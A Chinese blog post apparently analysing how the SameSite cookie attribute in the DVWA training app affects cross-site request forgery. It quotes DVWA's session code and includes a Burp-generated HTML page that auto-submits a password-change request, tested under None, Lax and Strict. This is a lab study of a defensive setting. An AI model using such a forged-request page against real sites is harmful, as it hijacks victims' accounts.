DVWA-CSRF-samesite分析

发布于:2024-06-28 ⋅ 阅读:(21) ⋅ 点赞:(0)

拿DVWA的CSRF为例子
接DVWA的分析,发现其实Impossible的PHPSESSID是设置的samesite=1.
参数的意思参考Set-Cookie

SameSite:控制 cookie 是否随跨站请求一起发送,这样可以在一定程度上防范跨站请求伪造攻击(CSRF)。
下面用DVWA CSRF Low Level来分析下samsite的设置。

DVWA CSRF

Cookie一共包含security和PHPSESSID,这里讲下PHPSESSID(session的cookie)。
在dvwaPage.inc.php中,dvwa_start_session()函数先通过dvwaSecurityLevelGet()函数获得security_level。
之后如果security_level为impossible,则samesite设置为Strict。否则为None(跨站携带cookie)。不同设置的详细解释在Cookie 的 SameSite 属性
最后通过session_set_cookie_params设置session 的cookie。

function dvwa_start_session() {
	// This will setup the session cookie based on
	// the security level.

	$security_level = dvwaSecurityLevelGet();
	if ($security_level == 'impossible') {
		$httponly = true;
		$samesite = "Strict";
	}
	else {
		$httponly = false;
		$samesite = "";
	}

	$maxlifetime = 86400;
	$secure = false;
	$domain = parse_url($_SERVER['HTTP_HOST'], PHP_URL_HOST);

	/*
	 * Need to do this as you can't update the settings of a session
	 * while it is open. So check if one is open, close it if needed
	 * then update the values and start it again.
	*/

	if (session_id()) {
		session_write_close();
	}

	session_set_cookie_params([
		'lifetime' => $maxlifetime,
		'path' => '/',
		'domain' => $domain,
		'secure' => $secure,
		'httponly' => $httponly,
		'samesite' => $samesite
	]);

	session_start();

	// This is the call that will force a new Set-Cookie header with the right flags
	session_regenerate_id();
}
function dvwaSecurityLevelGet() {
	global $_DVWA;

	// If there is a security cookie, that takes priority.
	if (isset($_COOKIE['security'])) {
		return $_COOKIE[ 'security' ];
	}

	// If not, check to see if authentication is disabled, if it is, use
	// the default security level.
	if (in_array("disable_authentication", $_DVWA) && $_DVWA['disable_authentication']) {
		return $_DVWA[ 'default_security_level' ];
	}

	// Worse case, set the level to impossible.
	return 'impossible';
}

与之前在DVWA SCRF的利用不同,因为samesite是跨站设置。所以先用burp抓个包,生成csrf的html,放在kali中。
kali中用python开启简单http服务,在用浏览器去请求kali网站的html,模拟跨站攻击。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://192.168.20.156/DVWA/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="123" />
      <input type="hidden" name="password&#95;conf" value="123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

现在这个源码,可以在CSRF Low Level界面,产生漏洞,修改密码。
此时浏览器Cookie中PHPSESSID的samestie为None。
在这里插入图片描述
之后将红框位置改为Lax
在这里插入图片描述
看下Lax的解释,我们的表单是Get方式提交的,所以设置了Lax,应该还是可以实现CSRF攻击的
在这里插入图片描述
验证CSRF漏洞,发现PHPSESSID的samesite为Lax,并且漏洞还是存在的。
在这里插入图片描述
最后我们把samesite设置为Strict,再次进行验证,发现无法修改密码。
在这里插入图片描述
用burp抓包分析发现,请求修改密码包Cookie中并没有PHPSESSID
在这里插入图片描述
PHPSESSID中samesite设置为Strict。
在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到